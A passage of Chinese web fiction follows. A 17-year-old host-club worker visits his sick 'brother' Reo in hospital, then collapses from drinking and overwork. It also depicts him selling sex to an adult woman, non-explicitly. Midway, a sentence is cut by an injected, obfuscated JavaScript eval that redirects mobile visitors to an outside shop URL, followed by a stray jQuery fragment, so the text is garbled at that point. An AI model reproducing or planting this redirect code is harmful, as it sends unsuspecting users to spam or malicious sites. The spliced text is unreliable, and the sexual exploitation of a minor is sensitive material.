三月中旬,东京的天气终于有了回暖的趋势。天空是皎洁无比的蔚蓝,似明净的水面,悠悠飘着的几朵雪白的云,像浪花的碎片。幸刚刚结束了一个通宵的营业,立刻往医院赶。
刚踏入医院,嘈杂声扑面而来。幸挤过拥挤的人群,经过长长的走廊,冷冷的灯光敷在医用的PVC地板上,脚步踩上去有急促的回声,与其他杂音层层叠叠,堆成了医院的活人生气。
走到病房门口,幸听到杰西尖锐的声音从里面传来:“所以说过了吧!这个保湿霜是夜用的,早上涂得黏糊糊的毛孔就无法呼吸啦!”
他推开门。杰西正坐在病床前的椅子上,和真一说着话。杰西素面朝天,穿着一件浅驼色长风衣,墨绿色的头发规规矩矩地扎成一个马尾,项链和戒指也都没戴,显得特素净。
病床上的真一被杰西这连珠炮似的话语念叨得有些懵,一边小声地抗议着“杰西,声音太大了,这里可是医院”,一边任由杰西拿着一小盒什么东西在他手背上涂抹着。
“诶呀,健太,你终于来了!太慢了啦!”杰西听到门边的动静回过头,夸张地朝幸挑眉,“刚下班吗?嘛,坐下吧。我正在拯救玲央哥干巴巴的皮肤呢。”杰西用下巴朝旁边的一张空椅子点了点。
“玲央哥,今天感觉怎么样?” 幸拉开那把椅子坐下。
“嗯……杰西来了,总觉得变得热闹了。虽然头有点痛,但不像之前那么难受了。”真一回答。
杰西嚷道:“你们两个真是的!都是哑巴!要不是我听到健太这小子这么快成了No.5,准备找玲央哥八卦,结果找不到人,你们俩还要把病瞒到什么时候!”
真一说:“唔,抱歉,杰西……”
杰西继续嚷嚷:“一个住院一个升No.5,全世界都知道了,就我不知道!我算什么啊?”
真一马上接口道:“你算我和健太在东京最好的朋友,别生气了,好杰西。”
“好啦,我怎么会一直生气,我现在心疼你还来不及呢。真是的……就几天没见,怎么就变成这副骷髅一样的样子了呀。”杰西叹了口气,手指轻轻碰了碰真一凹陷的脸颊,“饭有好好吃吗?医院的饭,肯定没味道像鸟食一样吧。”
真一窘迫地缩了缩脖子:“……吃了哦。但是,马上就觉得肚子饱了。”
这时,幸从口袋里拿出了一个牛乳布丁,在真一眼前晃了晃:“所以,我带了这个。”
真一的眼睛瞬间亮了起来:“啊!约好的……”
“什么?!不行!不行!不行!你怎么不给玲央哥好好吃饭净给他喂一些零食啊!”杰西一把将布丁从幸手里抢了过去,瞪着眼睛训斥道。
幸立刻就不乐意了:“就吃两口没关系的。医生也说要让他有点胃口。”真一也在旁边委屈巴巴地帮腔,连连点头。
“不行就是不行!我可是好好地做了一些有营养的东西带来的!”杰西说着,不知道从哪儿拿出一个挎包,容纳空间大得好像能把整间医院放进去。杰西从挎包里掏出一个绿色便当盒。又升起病床自带的小桌板,把便当盒放上去打开。
一股饭香在病房里散开。真一探了探头,看着便当盒里用味增汤煮的米汤杂炊,加了蛋花和香菇,胡萝卜和鸡肉炖的软烂。他惊讶地问:““这个……是杰西做的?”
“那当然!这可是我从昨天晚上就开始咕嘟咕嘟熬的。怀着感恩的心吃吧!”杰西高高地扬起下巴,语气嚣张,但耳根处却不可抑制地泛起了微红。
幸看了看那盒卖相实在算不上精致的杂炊粥,“玲央哥,你要是不敢吃就算了。” 他抱着手臂,在一旁凉凉地打趣道。
“健太你什么意思!我真的要揍飞你哦!”杰西气愤地转过头。
“……我吃。谢谢你,杰西。”真一打断了他们的斗嘴。他费力地支起半个身子,从杰西手里接过勺子,挖了一勺米粥,他的手止不住地发抖,勺子里的粥也跟着晃。
幸见状想要上前帮忙,真一已经把那一小口粥抿进了嘴里,咽下去后他的眼睛又像小动物似的亮起来:“……嗯!超好吃!”
“那是当然的吧!这可是我的特制……要好好全部吃完哦。”杰西得意扬扬地答道。
最后真一花了足足半小时才把那份米汤杂炊全吃完。真一的肚子终于鼓起一个小弧度,下一秒他拉上被子挡住不给看。杰西笑呵呵地收拾便当盒,说下次再做点别的给玲央哥吃。
“诶……我的布丁?”真一后知后觉地想起,自己还有布丁没吃。
“吃完饭睡一会儿吧,我和健太先走了,好好休息玲央哥。”杰西装作没听见,岔开了话题,一只手提着大挎包,另一只手大大咧咧地揽住幸的脖子。
“布丁……”真一不放弃。
“玲央哥你好好休息。”幸也说,趁着杰西不注意,他朝真一神秘地眨眼。真一立刻会意,乖乖闭了嘴。
病房的门被轻轻合上,两个人面向通往一楼走廊的电梯走去。幸走在前,杰西在后,手里拿着一面掌心大小的补妆镜,边走边照。
走到电梯口,幸按下下行的按钮。等电梯的过程中,幸和杰西并肩站着,杰西把镜子收进去,忽然叫幸一声:“喂,你啊。”
“嗯?怎么了?”幸应了声。
“还问怎么了呢。” 杰西往幸那边迈了一步,毫不客气地伸出手指在幸的肩膀上戳了一下,“你那张脸,是刚去应聘了丧尸电影的群演吗?虽然看起来是想用化妆糊弄过去,但疲惫都已经从毛孔里渗出来了哦。”
“没事啦。我很年轻嘛。稍微睡一觉马上就能……”
“吵死了!”杰西打断了他,尖锐的声音在安静的走廊里显得有些突兀,引得旁边的路人不满地看了他们一眼。杰西立刻翻了个白眼,稍微压低了点声音,但语气里的不耐烦丝毫未减:“我说啊,你这硬撑的样子简直一清二楚。我知道你担心玲央哥,但要是你倒下了,我一个人不能同时照顾你俩啊。”
杰西双手抱在胸前:“你也稍微休息一下吧。那么破破烂烂的牛郎,真搞不懂指名你的公主脑子里在想什么。”
“我不干不行啊……” 幸低下头盯着自己的鞋尖,“……总得有人去赚钱。”
电梯到了,这个话题被强行掐断。两人在拥挤的电梯里没有说话,杰西的挎包还顶到了一个路人的腰,杰西把它拉到自己身前抱着。
等到了一楼,杰西领着幸,离开人群,走到人少的安全出口。杰西嘘了口气,烦躁地抓了抓头发:“啊——真是的,真的!这一个两个的,真让人操心!”杰西一边大声抱怨着,一边把手伸进挎包里,一阵翻找。
“喏,这个!”杰西猛地把一个沉甸甸的便当盒塞进幸的怀里,“没吃饭吧!怎么可能只做玲央哥的那份嘛。你的那份,我也好好地做着带过来了哦。”
幸手忙脚乱地接住那个便当盒:“这……什么?”
“什么什么啊,要是想说感谢的话,用LINE发长文给我吧。”杰西别过头,故意不看幸的脸,脚下不安分地踢了踢走廊的踢脚线,喋喋不休着,“里面的东西和玲央哥一样。你也是每天光喝酒,胃里早就乱七八糟了吧。”
“……什么嘛。我明明想吃肉的。”幸的心砰砰直跳,吸了吸鼻子,故意压低声音嘟囔了一句。
“哈!?”杰西猛地转过头,瞪圆了眼睛,“别人好不容易熬夜做出来的,你还有意见!?你这个忘恩负义的金发混蛋!我要拔光你的头发!”
“啊哈哈哈……”幸忍不住笑起来。
“不许笑!要是不想吃的话现在立刻还给我!” 杰西羞恼得涨红了脸,伸手要去抢。
幸灵活地转了个身,把便当盒护在怀里,狡黠地说:“才不要呢。拿到手的东西就是我的了。”
“……哼。那你就一滴不剩地全部吃光吧。饭盒洗干净了再还给我!拜拜,我先走了。明天还要去学校呢。”杰西没好气地瞪了幸一眼,把刚才滑落到肩头的风衣拉好,像一阵风似的跑开了。
做了No.5后,疲倦成了幸的生存常态。像一针麻醉剂,被注入他的神经。目光呆滞凝固,意识延宕迟疑。LoveHotel暧昧的氛围灯照在幸汗淋淋的身体,他无精打采地耷拉着眼皮,旁边的中年女人从床上坐了起来,进了浴室。十几分钟后,她从浴室出来,幸躺在原地,动都没动。
“啊——啊,真爽。果然年轻孩子就是有体力呢。”女人一边往身上套连衣裙,一边笑了一声。
幸没什么反应,翻了个身,困顿地蜷缩着,像待在母亲羊水中的婴儿。女人眼波闪闪,摇曳着腰肢走近,手指揉捏着幸柔软的耳垂,软着声音喊:“小——幸,怎么了,在闹脾气吗?”
“……没有。”幸闷闷地回答,脸颊无意识地在床单上蹭蹭,“能让公主开心,我也很高兴哦,但是已经累得想睡着了……我会在店里继续等你的。”
“那当然啦!下次我会给你开更贵的香槟的。”女人的手用力地捏了一把他的脸颊,拿过包,随手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17923354|213495||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
抽出几张皱巴巴的万元大钞扔在床头柜上,“这个,给你的零花钱,我先走了哦,小幸。”
高跟鞋的哒哒声逐渐远去,房门“砰”的一声关上。幸又躺了很久,直到身上的汗蒸发,带来了一阵凉意,他猛地打了个哆嗦,吃力地从床上撑起身体,床单上有一大块湿痕,是他后背的汗染上去的,幸盯着那块水渍发了会儿呆,而后准备去浴室里冲个澡。
脚面刚触及地面,一股迟来的剧痛自脚底升起,迅速蔓延至全身。地面颤抖,天花板和地板差点调换了位置,身体的每一处感官都在遭受疼痛,幸忽然不合时宜地想到了《小美人鱼》的故事——或许爱丽儿和女巫用歌喉换来双腿,第一次上岸也是这种感觉,每一步都走得很痛苦。还挺像的,美人鱼用嗓音换腿追求爱情,幸用身体换钱给哥哥治病。既然这样选了,也就这么一天天做下去。
打开淋浴头站在水下,要清理那个疲软不堪的器官时幸的胃里不可抑制地窜起一阵痉挛。他一把捂住嘴,仓皇地扑向旁边的马桶,低头呕吐。
最近他呕吐的次数愈加频繁,幸担心自己的身体是不是出了什么问题。生理知识的匮乏让这个17岁的少年怀疑自己沾染了什么脏病。他弯着身子,呆呆地望着那滩呕吐物,恐惧划破了疲惫织就的茧,幸呼吸窘迫,表情扭曲,想要把哽咽吞下去。
幸最后抽泣出声,他双手捂着脸,整个人蜷缩在马桶旁边,断断续续地嘟囔着:“为什么……为什么偏偏是我……”
那些女人肥硕或干瘪的肉///体在他眼前晃动,那些粗糙或柔软的手掌在他皮肤上摸索,那些强烈的香水味在鼻腔中越积越重,幸忽然一阵毛骨悚然,他原以为身体早已在痛苦中钝化,但一想到自己可能会染病,可能某天会死在某张不知道是谁的床上,而自己那点微不足道的自尊,会在这无休止的“鬼枕”中被彻底碾碎——他害怕得更想吐了。
但他不是被推进风俗业这个火坑里的,他是自愿跳进去的。已经没有退路了。那个能够庇佑他的玲央哥已经倒下了——玲央哥当年卖身时比他还小,面对那些男人和女人,他会害怕吗——如果幸不去挣钱,玲央哥没钱治病,只能躲在公寓里嗑药死掉。
他不要玲央死。
“……别哭了。我是白痴吗。”幸用手背胡乱地在脸上抹了两把,“赶紧洗完,还要去下一场……”
上天最终惩罚了幸。金属尚会因疲劳而突然断裂,肉身凡胎竟想挑战极限,何其傲慢!这具17岁的身体,终于在无休止的酒液浸泡和高强度的□□透支中发出了尖锐的抗议。在包厢里吐出第一口暗红色血液时,身边的几个公主甚至还以为幸喝的是某种特殊调酒。直到他痛得整个人蜷缩在真皮沙发上,花冈才白着脸叫了救护车。为了不和玲央所在的医院撞上,他特意让救护车把他拉到了另一家综合医院。
“喂,你真的明白吗?”
病房里,年过五十岁的急救医生站在幸的床边,手里拿着几张检查报告,眉毛紧蹙,他满脸责备地盯着幸:“急性胃黏膜病变,还有十二指肠溃疡的嫌疑。你小子……才17岁?过的是什么日子,能把胃喝成这副破破烂烂的样子?”
医生用力抖了抖手里的纸,发出哗啦哗啦的响声,试图让这个不知死活的年轻人知道事情的严重性:“你是想死吗?”
幸默默地听着,随即开口:“医生。”
“什么?”
“我,什么时候能出院?”
医生愣了一下,难以置信:“哈?出院?你小子知道自己现在的状态……”
幸没等医生说完直接打断他:“还有一件事,什么时候开始能喝酒?”
医生更加难以置信。幸继续往下说:“我啊,无论如何不喝酒是不行的。不然就干不了活了。所以,能不能给我开能最快恢复喝酒的药。”
医生像在看一个精神病人,眼底满是震惊和惊悚。他强撑着理智说:“你真的……脑子有毛病吧?”
幸没有接话,只是用一种执拗的眼神死死钉住医生。他不想躺在这里休息,他得去赚钱。现在已经没有多余的钱给他静养了。
医生最终还是妥协了。或许是因为他被幸偏执地眼神吓到,又或许是早就见惯了那些用命去换钱的亡命徒。他给幸开了一种能强行抑制胃酸分泌和暂时麻痹痛觉的胃药组合,并用近乎恐吓的语气叮嘱他,如果再大出血,神仙也救不了他。
窗外阵雨骤来,淅淅沥沥,灰色的雨滴斜斜地打在玻璃窗上 ,像谁在窗外无声地哭。